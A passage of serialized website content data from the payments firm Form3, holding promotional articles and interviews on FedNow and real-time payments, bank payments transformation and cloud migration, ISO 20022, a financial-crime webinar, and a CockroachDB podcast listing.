cannibalize other rails that are still in use today, and whether some card traffic might be cannibalized too, he said.",[],{"type":25,"text":25513,"spans":25514},"Cannibalization, he added, “will be a function of the extent to which real-time payments are adopted by consumers and merchants too.”",[],{"type":25,"text":25516,"spans":25517},"He pointed to markets such as Brazil and India, where real-time payments are a point-of-sale feature at merchants such as coffee shops. We’re a long way from that ubiquity in the United States, he said, but the emergence of alias directors and QR codes in commerce could help see an acceleration in demand for faster payments.",[],{"type":25,"text":25519,"spans":25520},"Scola said that open banking is another area of innovation that holds promise but also may have a long gestation period in the U.S. because there is yet to be a comprehensive regulatory structure developed such as has been seen in the United Kingdom.",[],{"type":25,"text":25522,"spans":25523},"The same need for regulatory clarity confronts the transformation of cross-border payments, linking far-flung domestic schemes together, he said.",[],{"type":25,"text":25525,"spans":25526},"“We’ll start to see a movement away from traditional correspondent banking,” he predicted, as real-time payments schemes interact and distributed ledger technologies and tokens may have a role in reducing the complexities of cross-border payments, boosting transparency and reducing foreign exchange (FX) spreads, as value is conveyed instantly between senders and receivers.",[],{"type":25,"text":25528,"spans":25529},"“But we need consensus around how all this will be handled with a level of regulatory cohesion that I do not see happening in the near future,” he said. “There are a lot of other domestic payment solutions that need to be solved for first before those broader international payment solutions are solved.”",[],{"type":25,"text":25531,"spans":25532},"For Form3 itself, the year ahead is a promising one, as Scola pointed to a September investment from Visa and the fact that client firms’ transaction banking and corporate banking businesses are “flush with cash” given the high interest rate environment. That means they’re ready to tackle innovation and upgrade their payments infrastructure.",[25533,25536],{"start":11954,"end":3885,"type":489,"data":25534},{"link_type":491,"url":25535,"target":493},"https:\u002F\u002Fwww.pymnts.com\u002Fnews\u002Fsecurity-and-risk\u002F2023\u002Fvisa-investment-helps-form3-expand-anti-fraud-efforts\u002F",{"start":1481,"end":3092,"type":489,"data":25537},{"link_type":491,"url":25538,"target":493},"https:\u002F\u002Fusa.visa.com\u002F",{"type":25,"text":25540,"spans":25541},"“Things are looking good,” he told PYMNTS.",[],"rich_text$6bcd4623-02e2-4bc7-8389-51baa0040f81",{"variation":437,"version":438,"items":25544,"primary":25545,"id":25552,"slice_type":468,"slice_label":5},[],{"body":25546},[25547],{"type":25,"text":14790,"spans":25548},[25549],{"start":9799,"end":1131,"type":489,"data":25550},{"link_type":491,"url":25551,"target":493},"https:\u002F\u002Fwww.pymnts.com\u002Freal-time-payments\u002F2023\u002Finstant-payments-force-banks-to-examine-limitations-of-creaky-legacy-systems\u002F","rich_text$a351a1d9-4c11-4c54-9a98-6c467338d098",{"id":25554,"uid":25555,"type":3743,"data":25556},"alzzhhEAACwAUWOp","gated-content-how-to-combat-financial-crime-through-data-sharing-and-collaboration",{"title":25557,"excerpt":25558,"card_image":25559,"published_date":25565,"reading_time":685,"tag":6178,"dek":5,"featured_image":25566,"about_form3":25571,"client_about_heading":5,"client_about_body":25572,"author_name":5,"author_title":5,"author_photo":25573,"author_bio":25574,"author_linkedin":25575,"slices":25576,"meta_title":25557,"meta_description":25558},"How to combat financial crime through data sharing and collaboration","The Economic Crime and Corporate Transparency Bill will only go so far towards enabling information sharing between certain businesses for the purposes of preventing, detecting, and investigating economic and financial crime. So, what can the private sector do to expedite progress and how can you protect your business from poor data quality?",{"dimensions":25560,"alt":25561,"copyright":5,"url":25562,"id":25563,"edit":25564},{"width":412,"height":412},"Financial crime","\u002F_prismic-media\u002Fdb3057266330e8b0-UPAPnbTnWuyQ2eLr_gated-content-how-to-combat-fin.jpg","UPAPnbTnWuyQ2eLr",{"x":398,"y":398,"zoom":399,"background":650},"2023-02-27",{"dimensions":25567,"alt":25561,"copyright":5,"url":25568,"id":25569,"edit":25570},{"width":501,"height":646},"\u002F_prismic-media\u002F670ce0f9965d2c11-yXS4ii_92Zk7HzeK_ef351dce-eb4f-41f5-8956-4a2c127.png","yXS4ii_92Zk7HzeK",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[25577,25609],{"variation":437,"version":438,"items":25578,"primary":25579,"id":25608,"slice_type":468,"slice_label":5},[],{"body":25580},[25581,25584,25586,25589,25593,25596,25599,25602,25605],{"type":25,"text":25582,"spans":25583},"The battle between GDPR\u002Fdata minimisation and fraud prevention is a tough one to navigate but there is widespread agreement that further collaboration on data is necessary to tackle financial crime.",[],{"type":25,"text":25558,"spans":25585},[],{"type":25,"text":25587,"spans":25588},"This webinar will explore data sharing initiatives and solutions that allow for public-private data sharing, as well as the risks of low collaboration and siloed data.",[],{"type":25,"text":25590,"spans":25591},"We will cover:",[25592],{"start":398,"end":2987,"type":593},{"type":1151,"text":25594,"spans":25595},"The current landscape on data sharing",[],{"type":1151,"text":25597,"spans":25598},"How to deal with the key challenges, both internally and externally",[],{"type":1151,"text":25600,"spans":25601},"Case studies",[],{"type":1151,"text":25603,"spans":25604},"The next tranche of technology to address the problem",[],{"type":1151,"text":25606,"spans":25607},"What will change by 2025",[],"rich_text$8a033f34-c02d-4e1e-b59b-0ec983b7cd5a",{"variation":437,"version":438,"items":25610,"primary":25611,"id":25639,"slice_type":468,"slice_label":5},[],{"body":25612},[25613,25615,25619,25623,25627,25631,25635],{"type":746,"text":21602,"spans":25614},[],{"type":3373,"text":25616,"spans":25617},"Nick Fleetwood, Head of Data Services\nFORM3",[25618],{"start":398,"end":2987,"type":593},{"type":3373,"text":25620,"spans":25621},"David Sutton, Director of Analytical Technology\nFEATURESPACE",[25622],{"start":398,"end":2707,"type":593},{"type":3373,"text":25624,"spans":25625},"Max Alexander, VP Exercises and Social Engineering, Cyber and Tech Emerging Threats\nJPMORGAN CHASE & CO",[25626],{"start":398,"end":1951,"type":593},{"type":3373,"text":25628,"spans":25629},"Nick Davey, Technical Payments Specialist\nPAYMENTS SYSTEMS REGULATOR",[25630],{"start":398,"end":905,"type":593},{"type":3373,"text":25632,"spans":25633},"Jane Barber, Payments Regulatory and Trade Association Lead\nNATWEST",[25634],{"start":398,"end":602,"type":593},{"type":3373,"text":25636,"spans":25637},"Andrew Churchill, Ambassador\nTHE PAYMENTS ASSOCIATION",[25638],{"start":398,"end":2477,"type":593},"rich_text$4f7e9997-00a6-4ff9-9c29-1d4afcc8ae54",{"id":25641,"uid":25642,"type":3743,"data":25643},"alzzYxEAACcAUWNN","navigating-payments-transformation-for-banks",{"title":25644,"excerpt":25645,"card_image":25646,"published_date":25651,"reading_time":418,"tag":3751,"dek":25645,"featured_image":25652,"about_form3":25657,"client_about_heading":5,"client_about_body":25658,"author_name":5,"author_title":5,"author_photo":25659,"author_bio":25660,"author_linkedin":25661,"slices":25662,"meta_title":25775,"meta_description":25645},"Navigating the Complexities of Payments Transformation for Banks","Discover how banks can successfully navigate the complexities of payments transformation by debunking common myths and focusing on customer-centric solutions. Read our insightful guide today.",{"dimensions":25647,"alt":25644,"copyright":5,"url":25648,"id":25649,"edit":25650},{"width":412,"height":412},"\u002F_prismic-media\u002Fe6f702e2952a2e33-vtSu5YbwsqutjlCC_navigating-payments-transformat.png","vtSu5YbwsqutjlCC",{"x":398,"y":398,"zoom":399,"background":400},"2023-04-24",{"dimensions":25653,"alt":5,"copyright":5,"url":25654,"id":25655,"edit":25656},{"width":501,"height":646},"\u002F_prismic-media\u002F33db0b85a11af0df-4NjOlJozRRkYJdyD_ef351dce-eb4f-41f5-8956-4a2c127.png","4NjOlJozRRkYJdyD",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[25663,25677,25694,25719,25730,25754,25765],{"variation":437,"version":438,"items":25664,"primary":25665,"id":25676,"slice_type":468,"slice_label":5},[],{"body":25666},[25667],{"type":25,"text":25668,"spans":25669},"As the banking industry evolves, payment solutions have become a focal point for both challenges and opportunities. With the advent of new technologies such as cloud computing, increased regulatory measures like DORA and the recent SEPA Instant mandate, as well as the entry of new competitors, the landscape has become increasingly complex. Financial institutions must overcome these challenges and seize opportunities by debunking common myths and misconceptions that can impede progress and hinder innovation.",[25670,25673],{"start":19850,"end":9294,"type":489,"data":25671},{"link_type":491,"url":25672},"https:\u002F\u002Fwww.form3.tech\u002Fwhy-form3\u002Finsights\u002Fdora-cloud-regulation-for-banks-in-europe",{"start":792,"end":19455,"type":489,"data":25674},{"link_type":491,"url":25675},"https:\u002F\u002Fwww.form3.tech\u002Fwhy-form3\u002Finsights\u002Fmandated-instant-payments-whatyoushoulknow","rich_text$7740fae0-0456-4234-bfdc-ecc749f1c059",{"variation":437,"version":438,"items":25678,"primary":25679,"id":25693,"slice_type":468,"slice_label":5},[],{"body":25680},[25681,25684,25687],{"type":746,"text":25682,"spans":25683},"Turning Regulatory Compliance into Opportunities",[],{"type":25,"text":25685,"spans":25686},"Contrary to popular belief, regulatory compliance should not be the sole end goal of payments transformation. As regulators and central banks worldwide continue to scrutinise innovation and competition, banks must learn how to capitalise on regulatory measures to offer more advanced customer propositions.\n",[],{"type":25,"text":25688,"spans":25689},"Regulatory compliance, while crucial, should be viewed as an opportunity to drive value and improve customer outcomes. By keeping customer needs at the forefront of compliance efforts, banks can ensure that payment solutions support the broader processes and activities in a customer's life. Furthermore, it is essential to engage internal staff in an organization's transformation journey, as a legacy mindset can be more detrimental than legacy systems.\n\n",[25690],{"start":3407,"end":8997,"type":489,"data":25691},{"link_type":491,"url":25692},"https:\u002F\u002Fwww.form3.tech\u002Fwhy-form3\u002Finsights\u002Fgated-content-whitepaper-is-change-really-such-a-scary-word-digital","rich_text$df7b2f73-deed-4b27-9276-cf8a9219d10e",{"variation":437,"version":438,"items":25695,"primary":25696,"id":25718,"slice_type":468,"slice_label":5},[],{"body":25697},[25698,25701,25704,25710,25714],{"type":746,"text":25699,"spans":25700},"Unlocking Profitability in Payments",[],{"type":25,"text":25702,"spans":25703},"The notion that payments cannot be profitable in a digital world is another myth that needs to be dispelled. While payments may be considered the 'plumbing' or 'rails' of the broader transaction business, banks must identify areas where they can differentiate themselves and add value to their offerings.  ",[],{"type":25,"text":25705,"spans":25706},"To enhance profitability, banks need to ‘go beyond the payment’ and look at how they can personalise and offer value-added services that can cater to the evolving needs of their customers that might have previously been serviced outside of their banking relationship. By incorporating these services, financial institutions can differentiate themselves in a competitive market, capitalise on new revenue streams, and importantly increase the stickiness and number of touch points any single transaction and customer has with them that in the long run will help drive customer loyalty. Here are just a few examples of what these services could include:\n \nIntegrated Cash Management Solutions: Banks can offer comprehensive cash management services that combine payments, receivables, and liquidity management in a single platform. By providing real-time visibility and control over cash flows, banks can help businesses optimise their working capital. ",[25707],{"start":25708,"end":25709,"type":593},654,690,{"type":25,"text":25711,"spans":25712},"Cross-Border Payments and Foreign Exchange Services: As businesses continue to expand globally, the demand for fast, cost-effective cross-border payment solutions and foreign exchange services is increasing. Banks can offer advanced cross-border payment solutions with real-time exchange rates and transparent pricing to attract customers. ",[25713],{"start":398,"end":1250,"type":593},{"type":25,"text":25715,"spans":25716},"Data Analytics and Reporting: Fraud prevention is a key area for this. Banks can provide businesses with advanced data analytics and reporting tools to monitor and analyze their payment activities.\n\nTo achieve profitability, banks should invest in data strategies and value-added services while lowering costs through streamlined business practices and optimized technology investments. By exploring revenue from previously untapped areas, such as data and value-added services, banks can create profitable payment solutions.",[25717],{"start":398,"end":9704,"type":593},"rich_text$e9110f10-a723-4722-afca-7f7d110a3702",{"variation":437,"version":438,"items":25720,"primary":25721,"id":25729,"slice_type":468,"slice_label":5},[],{"body":25722},[25723,25726],{"type":746,"text":25724,"spans":25725},"Embracing the Power of Cloud Technology",[],{"type":25,"text":25727,"spans":25728},"Some may argue that cloud technology is too risky for the payments industry, but this is another misconception that must be debunked. Cloud services have matured over the years, offering fine-tuned security features that often surpass those of on-premise IT infrastructure.\n\nBanks can adopt a strategic approach to cloud migration, without the need for a complete \"rip and replace\" of their existing infrastructure. By carefully selecting which parts of the payment workflow to move to the cloud first, banks can minimise disruption and optimise the benefits of cloud technology.\n\nFor example, a bank may choose to migrate its fraud detection and prevention systems to the cloud initially. This would allow the bank to leverage the advanced machine learning and data processing capabilities of cloud-based services, resulting in more effective and efficient fraud management. As the bank gains confidence in the cloud technology, it can gradually move other components of the payment workflow, such as transaction processing and reconciliation, to the cloud.\n\nBy taking a strategic approach to cloud migration, banks can mitigate risks, reduce costs, and enhance the performance and scalability of their payment solutions, ultimately delivering better services to their clients.",[],"rich_text$ba44d70d-09bd-4603-a17e-9ddddb74f1b6",{"variation":437,"version":438,"items":25731,"primary":25732,"id":25753,"slice_type":468,"slice_label":5},[],{"body":25733},[25734,25737],{"type":746,"text":25735,"spans":25736},"5-Step Guide to Planning a Cloud Migration for Corporate Banks",[],{"type":25,"text":25738,"spans":25739},"Assess and Strategise: Begin by conducting a thorough assessment of your existing legacy payment systems, infrastructure, and business processes. Identify the key components that would benefit the most from cloud migration, and consider the potential cost savings, performance improvements, and scalability advantages. Develop a clear strategy outlining the objectives, scope, and timeline for the cloud migration project.\n\nSelect the Right Cloud Solution: Evaluate various cloud service providers and their offerings to determine the best fit for your bank's needs. Consider factors such as security, compliance, data privacy, and integration capabilities with existing systems. Select a cloud solution that aligns with your bank's strategic objectives and provides the necessary tools and features to support your payment workflows.\n\nDesign a Cloud Migration Roadmap: Create a detailed roadmap outlining the steps and milestones for your cloud migration journey. Prioritize the migration of components that offer the most significant benefits and are least disruptive to your bank's operations. Plan for a phased migration to minimize risks and ensure a smooth transition. Allocate resources, set timelines, and establish key performance indicators (KPIs) to measure progress and success.\n\nImplement and Test: Collaborate with your chosen cloud service provider to execute the migration plan. Migrate components in a controlled manner, ensuring that all necessary data is securely transferred and that system integrations are functional. Test the migrated components thoroughly to ensure they meet performance expectations, and address any issues or discrepancies that arise.\n\nMonitor and Optimise: Once the migration is complete, continuously monitor the performance of your cloud-based payment systems. Collect data on KPIs, such as system uptime, transaction processing times, and customer satisfaction. Use this data to identify areas for improvement and optimise your cloud-based payment systems accordingly. Regularly review and update your cloud strategy to ensure it remains aligned with your bank's evolving needs and objectives. ",[25740,25741,25744,25747,25750],{"start":398,"end":7635,"type":593},{"start":25742,"end":25743,"type":593},424,456,{"start":25745,"end":25746,"type":593},836,870,{"start":25748,"end":25749,"type":593},1292,1311,{"start":25751,"end":25752,"type":593},1679,1701,"rich_text$d1ba64b2-2134-4a5e-8352-031e4cfd9521",{"variation":437,"version":438,"items":25755,"primary":25756,"id":25764,"slice_type":468,"slice_label":5},[],{"body":25757},[25758,25761],{"type":746,"text":25759,"spans":25760},"Redefining Outsourcing and In-House Solutions",[],{"type":25,"text":25762,"spans":25763},"The industry often treats outsourcing and in-house solutions as a binary decision, but this is an outdated approach. Technological advancements and evolving business requirements have created a more nuanced landscape where both options can coexist.\n\nThe key to navigating outsourcing lies in understanding your organisation's strategy and current standing. Recognising the importance of payments as a primary touchpoint with customers and a source of valuable data is crucial. A well-thought-out approach to cloud migration is also essential, with a focus on micro-services, scalability, and long-term cost reduction rather than just short-term savings.\n\nWhen considering outsourcing, banks should select commodity or less integrated areas that are easy to outsource, manage risk by starting small, and view the initial steps as part of a more extensive journey.",[],"rich_text$d89e4ea8-99a5-4345-b04c-302c5526b84a",{"variation":437,"version":438,"items":25766,"primary":25767,"id":25774,"slice_type":468,"slice_label":5},[],{"body":25768},[25769,25771],{"type":746,"text":4445,"spans":25770},[],{"type":25,"text":25772,"spans":25773},"As the banking industry moves forward with payments transformation, it is critical to avoid buzzwords and focus on how payment solutions can genuinely support customers. By debunking common myths and misconceptions, banks can navigate the complexities of the payment landscape and create innovative, profitable, and customer-centric solutions.",[],"rich_text$7020c62f-7a21-47a9-b680-2c28fab95b4b","Navigating-Payments-Transformation-for-Banks",{"id":25777,"uid":25778,"type":3743,"data":25779},"alzyxBEAACkAUWHf","elevating-payment-standards-with-form3-a-vision-of-efficiency-and-resilience",{"title":25780,"excerpt":25781,"card_image":25782,"published_date":25788,"reading_time":418,"tag":5813,"dek":25789,"featured_image":25790,"about_form3":25795,"client_about_heading":5,"client_about_body":25796,"author_name":5,"author_title":5,"author_photo":25797,"author_bio":25798,"author_linkedin":25799,"slices":25800,"meta_title":25780,"meta_description":25781},"Elevating Payment Standards with Form3: A Vision of Efficiency and Resilience","Learn how Form3’s unique perspective on standardization and experience in banking technology is revolutionizing payment processing. Discover our approach to ISO 20022 and our commitment to simplifying the banking experience. Explore how we’re shaping the future of payment technology.",{"dimensions":25783,"alt":25784,"copyright":5,"url":25785,"id":25786,"edit":25787},{"width":412,"height":412},"Payment Standards","\u002F_prismic-media\u002F3a70b320726728da-cjTs7ciVK-sGJkPK_elevating-payment-standards-wit.png","cjTs7ciVK-sGJkPK",{"x":398,"y":398,"zoom":399,"background":400},"2024-01-19","Most of us at Form3 have over 20 years of experience in banking technology. The combination of that experience and excellence of engineering is one of our greatest strengths.We understand from first-hand experience, how traditional banking systems consist out of legacy infrastructures and applications that are often decennia old, hard to build and maintain and can be a complete distraction from the core business.This is where we found our niche and our constant drive to remove complexity and unburden our customers of the last stages of the payments processing journey. Reducing the cost of run, change, and providing scalability and resilience are always front of mind at Form3.",{"dimensions":25791,"alt":25784,"copyright":5,"url":25792,"id":25793,"edit":25794},{"width":501,"height":646},"\u002F_prismic-media\u002F93ec842ff91ad756-ypkbo6lRzixjpXX8_ef351dce-eb4f-41f5-8956-4a2c127.png","ypkbo6lRzixjpXX8",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[25801],{"variation":437,"version":438,"items":25802,"primary":25803,"id":25839,"slice_type":468,"slice_label":5},[],{"body":25804},[25805,25808,25811,25814,25817,25820,25823,25826,25829,25832,25835],{"type":746,"text":25806,"spans":25807},"Standards are key",[],{"type":25,"text":25809,"spans":25810},"Standards are key. They set the expectations on what data you can receive, where you receive it and crucially what they mean. A standard lives by the agreement of its users. As users have different interests and act in different environments there is never a single standard but more non-standard forms of language, local and regional dialects if you will. The more complex the landscape a user operates in, the more non-standard languages and varieties it needs to deal with.",[],{"type":25,"text":25812,"spans":25813},"The common thread lies in the data. It is our standards expertise at Form3 that allows us to simplify our customers’ experience to the level of single data stacks and provide them complete abstraction from syntax and transport layers. For the past 6 years we have managed our customers’ transactions on our single data stack API without a breaking change.",[],{"type":25,"text":25815,"spans":25816},"The standard we get asked about most is ISO 20022. Though in itself a central dictionary of business items, most conversations are about the messages that are derived from the standard. This is the place where there is the most non-standard usage, a natural consequence of ISO 20022 being an open global standard. The whole point is to be able to cater for all users and all varieties.",[],{"type":25,"text":25818,"spans":25819},"The main question we are asked is if we are compliant with ISO 20022 and the answer is a wholehearted yes! And then we start a conversation about why and how we are compliant.",[],{"type":25,"text":25821,"spans":25822},"We believe in the power of a dictionary and setting a common definition of business items that are used throughout the financial industry, independent of how and where information is exchanged. We believe those data concepts will stand the test of time and changes to definitions will be small and rare and it allows for easy inclusion of new concepts.",[],{"type":25,"text":25824,"spans":25825},"Because our stack is built on these concepts, we don’t provide a like for like translation of messages as that would undermine our single integration for customers and would lead to unnecessary repeat of data. Making an abstraction of messages allows us to offer a single integration which works in multiple markets and offer a single integration which remains the same over time whilst expanding across new markets and services, undisrupted by maintenance or market migrations.",[],{"type":25,"text":25827,"spans":25828},"When customers say they have implemented ISO 20022 they mean very different things, implementations range from simple translations to the rarer full integration into back-office applications. We do understand that if you have gone through implementation in whatever shape or form you have spent a lot of time and effort on that. The first thing that comes to mind then is to ask; why is Form3 not providing a like for like translation or message upload service? It is because we are looking to solve the problem not to shift it.",[],{"type":25,"text":25830,"spans":25831},"We take our standards very seriously. So much so that we have a separate business line in our organisation that manages the consistency of the experience of our customers across our full business. We strive to make the experience continually better and help our customers overcome hurdles and experience our best in the world technology platform for account-to-account payments processing.",[],{"type":25,"text":25833,"spans":25834},"We understand that the first challenge may lie in convincing your organisation to move from sending out messages to integration to data or in integrating, in full, with our JSON RESTful API. We welcome you in to let us know where these hurdles originate and what they look like in detail and would welcome the opportunity to explain our vision to your stakeholders. At the same time, we are exploring options to support our customers further in these matters whilst still holding true to our Form3 design principles and agnostic approach. We are consciously pushing the boundaries of conventional payments processing and design management, both for and with our customers.",[],{"type":25,"text":25836,"spans":25837},"We don’t do small ambitions at Form3. We are raising the standard.",[25838],{"start":398,"end":14740,"type":593},"rich_text$d74b6060-c991-4a9e-bd42-4171988d2127",{"id":25841,"uid":25842,"type":3743,"data":25843},"alzy1xEAACsAUWIM","five-months-in-fednow-is-doing-what-it-was-planned-to-do",{"title":25844,"excerpt":25845,"card_image":25846,"published_date":25851,"reading_time":418,"tag":5813,"dek":5,"featured_image":25852,"about_form3":25857,"client_about_heading":5,"client_about_body":25858,"author_name":5,"author_title":5,"author_photo":25859,"author_bio":25860,"author_linkedin":25861,"slices":25862,"meta_title":25844,"meta_description":25431},"Five Months in, FedNow Is ‘Doing What It Was Planned to Do’","Five months since the FedNow® Service launched, Miriam Sheril, head of product, U.S. at Form3, told PYMNTS, there are some encouraging signs. Although it is early days, “from my point of view, FedNow is doing exactly what it was planned to do,” said Sheril.",{"dimensions":25847,"alt":16517,"copyright":5,"url":25848,"id":25849,"edit":25850},{"width":412,"height":412},"\u002F_prismic-media\u002F66192c3aacb7046e-ax0ha2vSHMb9uYpZ_five-months-in-fednow-is-doing-.png","ax0ha2vSHMb9uYpZ",{"x":398,"y":398,"zoom":399,"background":400},"2023-12-01",{"dimensions":25853,"alt":16524,"copyright":5,"url":25854,"id":25855,"edit":25856},{"width":501,"height":646},"\u002F_prismic-media\u002Fb5cd40bd37eeb5e4-vmqa1nFrlwOuY0zM_ef351dce-eb4f-41f5-8956-4a2c127.png","vmqa1nFrlwOuY0zM",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[25863,25882,25893,25913,25936],{"variation":437,"version":438,"items":25864,"primary":25865,"id":25881,"slice_type":468,"slice_label":5},[],{"body":25866},[25867,25872,25875,25878],{"type":25,"text":25868,"spans":25869},"Five months since the FedNow® Service launched, Miriam Sheril, head of product, U.S. at Form3, told PYMNTS, there are some encouraging signs.",[25870],{"start":5490,"end":3407,"type":489,"data":25871},{"link_type":491,"url":11791,"target":493},{"type":25,"text":25873,"spans":25874},"Although it is early days, “from my point of view, FedNow is doing exactly what it was planned to do,” said Sheril.",[],{"type":25,"text":25876,"spans":25877},"She noted that there are more than 200 institutions that have signed on to FedNow, and several service providers — Form3 included — have been certified to support those customers. She pointed out that The Clearing House’s RTP network has had roughly 300 to 400 financial institutions (FIs) on its platforms in the roughly six years since its launch.",[],{"type":25,"text":25879,"spans":25880},"“The fact that there are more than 200 [banks on FedNow] is a good sign,” she said, and the pipeline of banks expressing their intent and desire to use FedNow is healthy too. She added that banks looking at FedNow are still looking at RTP for resiliency. So, both networks are seeing increased adoption.",[],"rich_text$2f30f437-14a7-464c-9e26-947e731064f3",{"variation":437,"version":438,"items":25883,"primary":25884,"id":25892,"slice_type":468,"slice_label":5},[],{"body":25885},[25886],{"type":25,"text":25887,"spans":25888},"Watch: https:\u002F\u002Fwww.youtube.com\u002Fwatch?v=https:\u002F\u002Fvimeo.com\u002F897199384",[25889],{"start":1130,"end":14740,"type":489,"data":25890},{"link_type":491,"url":25891},"https:\u002F\u002Fwww.youtube.com\u002Fwatch?v=https:\u002F\u002Fvimeo.com\u002F897199384","rich_text$17ad62ae-67a0-4fcb-a897-eb2eedad3d74",{"variation":437,"version":438,"items":25894,"primary":25895,"id":25912,"slice_type":468,"slice_label":5},[],{"body":25896},[25897,25900,25903,25906,25909],{"type":746,"text":25898,"spans":25899},"The Initial Traction",[],{"type":25,"text":25901,"spans":25902},"But as of yet there are no claims or evidence of huge volumes of transactions being sent across the new rails, said Sheril. As we head into 2024, she said, account-to-account transactions are gaining some traction — where individual users move money between their own accounts.",[],{"type":25,"text":25904,"spans":25905},"“Brokerages are starting to wake up to this,” she said, which will be one of the key drivers of instant payments.",[],{"type":25,"text":25907,"spans":25908},"But as businesses look out at the possibilities, said Sheril, they’ll seek to examine new ways to move money 24\u002F7, to push and receive funds on the weekends, and to close deals and transactions around the clock. Netflix, which has made mention of using the RTP rails, and specifically the RFP features, said Sheril, can, along with other companies, bring real-time payments more firmly into the mainstream.",[],{"type":25,"text":25910,"spans":25911},"But even Netflix, she said, acknowledges that faster payments need to be used alongside credit card payments, because not everybody can get the request for payment, simply because not all FIs are on the network let alone signed up for RFP. There’s likely to be more sign-ups in the months ahead as the Fed creates and uses directories, an evolution that is under discussion.",[],"rich_text$3c198110-152a-453f-acd1-21bca6d14c52",{"variation":437,"version":438,"items":25914,"primary":25915,"id":25935,"slice_type":468,"slice_label":5},[],{"body":25916},[25917,25920,25923,25926,25929,25932],{"type":746,"text":25918,"spans":25919},"Lingering Technical Considerations",[],{"type":25,"text":25921,"spans":25922},"There are still some technical considerations that need to be grappled with, on the part of the FIs, said Sheril.",[],{"type":25,"text":25924,"spans":25925},"“You can be interested in using FedNow,” she told PYMNTS, “but technically, it’s not so easy. It’s not as simple as connecting to a new rail and creating some ISO messages. You have to be up and running 24\u002F7.” Banks must mull what back-office processes must be overhauled, and how much their dependence on legacy cores and batch processing are hindrances to modernization and faster payments.",[],{"type":25,"text":25927,"spans":25928},"Fortunately, she said, “banks are open to looking at vendors and providers who have built modern solutions” and platforms where faster payments have already been enabled rather than tackling tech overhauls on their own.",[],{"type":25,"text":25930,"spans":25931},"Banks may have been hesitant to adapt to and adopt FedNow and RTP, but we’re headed toward a reality where past experience with RTP will inform what happens with FedNow, she said. It will be critical to see how the two payment rails will “join forces to grow the whole market and the industry together.” The Fed and The Clearing House have already, and historically, collaborated, so it’s likely that we’ll see joint efforts coalesce in the future.",[],{"type":25,"text":25933,"spans":25934},"“There’s been six years of traffic on RTP,” she noted, “and FedNow can take advantage of that and build better solutions and processes in place to enable the future … RTP and FedNow have to align so that everyone can build around it and then banks can use those solutions.” Ultimately both rails will see the benefits in increased adoption and usage of the networks.",[],"rich_text$557aa30a-37c6-434d-9e2c-b47489f7c793",{"variation":437,"version":438,"items":25937,"primary":25938,"id":25945,"slice_type":468,"slice_label":5},[],{"body":25939},[25940],{"type":25,"text":14790,"spans":25941},[25942],{"start":9799,"end":1131,"type":489,"data":25943},{"link_type":491,"url":25944,"target":493},"https:\u002F\u002Fwww.pymnts.com\u002Fnews\u002Ffaster-payments\u002F2023\u002Ffive-months-in-fednow-is-doing-what-it-was-planned-to-do\u002F","rich_text$4488bc91-7199-4fc4-8de2-f3b8185cdf1c",{"id":25947,"uid":25948,"type":25949,"data":25950},"alz1PREAACwAUWid","ep23-podcast","engineering_blog_post",{"title":25951,"excerpt":25952,"card_image":25953,"published_date":25959,"reading_time":643,"tag":25960,"dek":5,"featured_image":25961,"about_form3":25962,"client_about_heading":5,"client_about_body":25963,"author_name":18970,"author_title":18971,"author_photo":25964,"author_bio":25969,"author_linkedin":25973,"slices":25976,"meta_title":25951,"meta_description":25952},".tech Podcast - Running CockroachDB","Join host Kevin Holditch for a podcast episode on running CockroachDB. Daniel Holt from Cockroach Labs takes us through the different options and which would fit you best.",{"dimensions":25954,"alt":25955,"copyright":5,"url":25956,"id":25957,"edit":25958},{"width":412,"height":412},".tech","\u002F_prismic-media\u002F317e5b27b2015a89-Ae9UwzA77Du7qvKY_podcast-conf-speaking.png","Ae9UwzA77Du7qvKY",{"x":398,"y":398,"zoom":399,"background":400},"2022-01-24","Blogs",{},[],[],{"dimensions":25965,"alt":18970,"copyright":5,"url":25966,"id":25967,"edit":25968},{"width":5080,"height":5081},"\u002F_prismic-media\u002Fe08313b6ab610487-38TSoXRVp2tWVmyC_31a4a6dc-d773-477b-bdf0-7f2e1d8.jpg","38TSoXRVp2tWVmyC",{"x":398,"y":398,"zoom":399,"background":650},[25970],{"type":25,"text":25971,"spans":25972},"Adelina is a polyglot engineer and developer relations professional, with a decade of technical experience at multiple startups in London. She started her career as a Java backend engineer, converted later to Go, and then transitioned to a full-time developer relations role. She has published multiple online courses about Go on the LinkedIn Learning platform, helping thousands of developers up-skill with Go. She has a passion for public speaking, having presented on cloud architectures at major European conferences. Adelina holds an MSc. Mathematical Modelling and Computing degree.",[],{"link_type":491,"key":25974,"url":25975,"target":493},"e5046bfa-e2fd-434c-9fb0-12ac5a7b1c4b","https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fadelina-simion\u002F",[25977,25994,26014,26058],{"variation":437,"version":438,"items":25978,"primary":25979,"id":25993,"slice_type":468,"slice_label":5},[],{"body":25980},[25981,25990],{"type":25,"text":25982,"spans":25983},"There are three ways of running CockroachDB: self-hosted, CockroachDB Cloud and CockroachDB serverless.\nDaniel Holt discusses the pros and cons of each on the .tech podcast hosted by Form3’s Kevin Holditch.",[25984,25987],{"start":6780,"end":9222,"type":489,"data":25985},{"link_type":491,"url":25986},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fdaniel-holt-a6b61639\u002F",{"start":22002,"end":15097,"type":489,"data":25988},{"link_type":491,"url":25989},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fkevholditch\u002F",{"type":25,"text":25991,"spans":25992},"Daniel goes through some common use cases and how CockroachDB can help you implement them.\nHere are some key highlights of this episode.",[],"rich_text$17778b37-f0dd-4f11-97cf-a8fd5d7f9354",{"variation":437,"version":527,"items":25995,"primary":25996,"id":26013,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":25997,"body":26001,"cta_label":10704,"cta_link":26004,"aside_type":5,"aside_image":26007,"aside_video":26008,"aside_video_poster":26009,"aside_video_reduced_motion":26010,"aside_video_url":5,"aside_embed":26011,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":26012,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[25998],{"type":746,"text":25999,"spans":26000},"Ep 23 .tech - Running Cockroach 